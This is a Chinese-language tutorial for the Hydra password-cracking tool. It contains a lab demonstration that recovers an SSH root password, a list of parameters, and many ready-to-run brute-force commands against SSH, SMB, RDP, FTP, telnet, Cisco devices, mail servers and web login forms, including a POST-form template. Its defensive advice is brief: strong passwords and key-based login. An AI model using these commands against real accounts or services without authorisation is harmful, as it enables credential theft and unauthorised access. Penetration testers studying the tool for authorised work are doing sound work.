hydra使用教程

Hydra(九头蛇)是黑客组织thc的一款开源密码攻击工具,功能十分强大,支持多种协议的破解,在Kali Linux的终端中执行hydra -h可以看到详细介绍

Hydrag攻击演示

实验环境:
攻击机器:Kali-Linux 172.16.31.102
客户机器:CentOS 7 172.16.31.111

一、 准备好攻击字典(可以自己随机生成或者百度字典)
image
二、 开始破解
image
三、 破解成功

[22][ssh] host: 172.16.31.111 login: root password: toor
这里用户为root、密码为toor

四、解决方案

1、超复杂密码(超复杂密码可以让攻击者破解很久,哪怕有在强大的字典,但是我个人还是不推荐使用密码,因为说不定人家就破解了)
2、秘钥登录(可以防止密码破解,个人比较推荐,但是实际情况还得看实际情况)

Hydra使用教程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 参数详解:
-R 根据上一次进度继续破解
-S 使用SSL协议连接
-s 指定端口
-l 指定用户名
-L 指定用户名字典(文件)
-p 指定密码破解
-P 指定密码字典(文件)
-e 空密码探测和指定用户密码探测(ns)
-C 用户名可以用:分割(username:password)可以代替-l username -p password
-o 输出文件
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
server 目标IP
service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# 使用案例:
# 使用hydra破解ssh的密码
$ hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh

# 破解https:
$ hydra -m /index.php -l username -P pass.txt IP https

# 破解teamspeak:
$ hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

# 破解cisco:
$ hydra -P pass.txt IP cisco
$ hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

# 破解smb:
$ hydra -l administrator -P pass.txt IP smb

# 破解pop3:
$ hydra -l muts -P pass.txt my.pop3.mail pop3

# 破解rdp:
$ hydra IP rdp -l administrator -P pass.txt -V

# 破解http-proxy:
$ hydra -l admin -P pass.txt http-proxy://10.36.16.18

# 破解telnet
$ hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

# 破解ftp:
$ hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
$ hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
# get方式提交,破解web登录:
$ hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
$ hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php
# post方式提交,破解web登录:
# 该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:
# <form action="index.php" method="POST">
# <input type="text" name="name" /><BR><br>
# <input type="password" name="pwd" /><br><br>
# <input type="submit" name="sub" value="提交">
# </form>
# 假设有以上一个密码登录表单,我们执行命令:
$ hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
# 说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
# 后面参数是网页中对应的表单字段的name 属性,后面<title>中的内容是表示错误猜解的返回信息提示,可以自定义。